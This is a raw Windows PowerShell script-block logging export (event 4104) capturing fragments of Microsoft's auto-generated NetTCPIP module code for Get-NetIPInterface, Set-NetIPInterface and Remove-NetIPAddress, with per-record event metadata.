if ($PSBoundParameters.ContainsKey('AutomaticMetric') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutomaticMetric})
$__cmdletization_queryBuilder.FilterByProperty('AutomaticMetric', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NeighborDiscoverySupported') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NeighborDiscoverySupported})
$__cmdletization_queryBuilder.FilterByProperty('NeighborDiscoverySupported', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CompartmentId') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CompartmentId})
$__cmdletization_queryBuilder.FilterByProperty('CompartmentId', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedRoute') -and (@('ByRoute') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedRoute}, 'MSFT_NetIPInterfaceRoute', 'Dependent', 'Antecedent', 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPAddress') -and (@('ByIPAddress') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPAddress}, 'MSFT_NetIPInterfaceIPAddress', 'Dependent', 'Antecedent', 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedNeighbor') -and (@('ByNeighbor') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedNeighbor}, 'MSFT_NetIPInterfaceNeighbor', 'Dependent', 'Antecedent', 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedAdapter') -and (@('ByAdapter') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedAdapter}, 'MSFT_NetIPInterfaceAdapter', 'Dependent', 'Antecedent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName', 'ByRoute', 'ByIPAddress', 'ByNeighbor', 'ByAdapter') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPInterface.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetIPInterface' -Alias '*'
function Set-NetIPInterface
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPInterface')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.Ge
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1792 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 6):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetIPInterface'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetIPInterface
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPInterface')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Forwarding[]]
${Forwarding},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ClampMss[]]
${ClampMss},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Advertising[]]
${Advertising},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${NlMtuBytes},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${InterfaceMetric},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborUnreachabilityDetection[]]
${NeighborUnreachabilityDetection},
[Parameter(ParameterSetName='ByName')]
[Alias('BaseReachableTime')]
[ValidateNotNull()]
[uint32[]]
${BaseReachableTimeMs},
[Parameter(ParameterSetName='ByName')]
[Alias('ReachableTime')]
[ValidateNotNull()]
[uint32[]]
${ReachableTimeMs},
[Parameter(ParameterSetName='ByName')]
[Alias('RetransmitTime')]
[ValidateNotNull()]
[uint32[]]
${RetransmitTimeMs},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${DadTransmits},
[Parameter(ParameterSetName='ByName')]
[Alias('DadRetransmitTime')]
[ValidateNotNull()]
[uint32[]]
${DadRetransmitTimeMs},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.RouterDiscovery[]]
${RouterDiscovery},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ManagedAddressConfiguration[]]
${ManagedAddressConfiguration},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.OtherStatefulConfiguration[]]
${OtherStatefulConfiguration},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostSend[]]
${WeakHostSend},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostReceive[]]
${WeakHostReceive},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.IgnoreDefaultRoutes[]]
${IgnoreDefaultRoutes},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[timespan[]]
${AdvertisedRouterLifetime},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AdvertiseDefaultRoute[]]
${AdvertiseDefaultRoute},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${CurrentHopLimit},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ForceArpNdWolPattern[]]
${ForceArpNdWolPattern},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.DirectedMacWolPattern[]]
${DirectedMacWolPattern},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.EcnMarking[]]
${EcnMarking},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Dhcp[]]
${Dhcp},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ConnectionState[]]
${ConnectionState},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AutomaticMetric[]]
${AutomaticMetric},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.NeighborDiscoverySupported[]]
${NeighborDiscoverySupported},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${CompartmentId},
[Parameter(ParameterSetName='ByRoute', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetRoute')]
[ValidateNotNull()]
[ciminstance]
${AssociatedRoute},
[Parameter(ParameterSetName='ByIPAddress', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPAddress')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPAddress},
[Parameter(ParameterSetName='ByNeighbor', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetNeighbor')]
[ValidateNotNull()]
[ciminstance]
${AssociatedNeighbor},
[Parameter(ParameterSetName='ByAdapter', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance]
${AssociatedAdapter},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByRoute')]
[Parameter(ParameterSetName='ByIPAddress')]
[Parameter(ParameterSetName='ByNeighbor')]
[Parameter(ParameterSetName='ByAdapter')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByRoute')]
[Parameter(ParameterSetName='ByIPAddress')]
[Parameter(ParameterSetName='ByNeighbor')]
[Parameter(ParameterSetName='ByAdapter')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByRoute')]
[Parameter(ParameterSetName='ByIPAddress')]
[Parameter(ParameterSetName='ByNeighbor')]
[Parameter(ParameterSetName='ByAdapter')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByRoute')]
[Parameter(ParameterSetName='ByIPAddress')]
[Parameter(ParameterSetName='ByNeighbor')]
[Parameter(ParameterSetName='ByAdapter')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Forwarding') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1791 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
ure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPAddress')]
param(
[Parameter(ParameterSetName='Query (cdxml)', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('LocalAddress')]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='Query (cdxml)', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type[]]
${Type},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[byte[]]
${PrefixLength},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.PrefixOrigin[]]
${PrefixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.SuffixOrigin[]]
${SuffixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressState[]]
${AddressState},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[timespan[]]
${ValidLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[timespan[]]
${PreferredLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[bool[]]
${SkipAsSource},
[Parameter(ParameterSetName='Query (cdxml)')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='Query (cdxml)')]
[string]
${DefaultGateway},
[Parameter(ParameterSetName='Query (cdxml)')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetIPAddress')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Type') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Type})
$__cmdletization_queryBuilder.FilterByProperty('Type', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PrefixLength') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PrefixLength})
$__cmdletization_queryBuilder.FilterByProperty('PrefixLength', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PrefixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PrefixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('PrefixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SuffixOrigin') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SuffixOrigin})
$__cmdletization_queryBuilder.FilterByProperty('SuffixOrigin', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressState') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressState})
$__cmdletization_queryBuilder.FilterByProperty('AddressState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ValidLifetime') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ValidLifetime})
$__cmdletization_queryBuilder.FilterByProperty('ValidLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PreferredLifetime') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PreferredLifetime})
$__cmdletization_queryBuilder.FilterByProperty('PreferredLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SkipAsSource') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SkipAsSource})
$__cmdletization_queryBuilder.FilterByProperty('SkipAsSource', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('DefaultGateway') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('DefaultGateway', ${DefaultGateway})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('Query (cdxml)', 'InputObject (cdxml)') -contains $_ } {
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetIPAddress' -Alias '*'
ScriptBlock ID: e7bee10b-215c-42fd-b147-fb6b1408ba75
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1790 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-d92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
edTypes.NetIPAddress.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type[]]
${Type},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.PrefixOrigin[]]
${PrefixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.SuffixOrigin[]]
${SuffixOrigin},
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressState[]]
${AddressState},
[Parameter(ParameterSetName='Query (cdxml)')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='Query (cdxml)')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetIPAddress')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[byte]
${PrefixLength},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[timespan]
${ValidLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[timespan]
${PreferredLifetime},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${SkipAsSource},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='Query (cdxml)')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
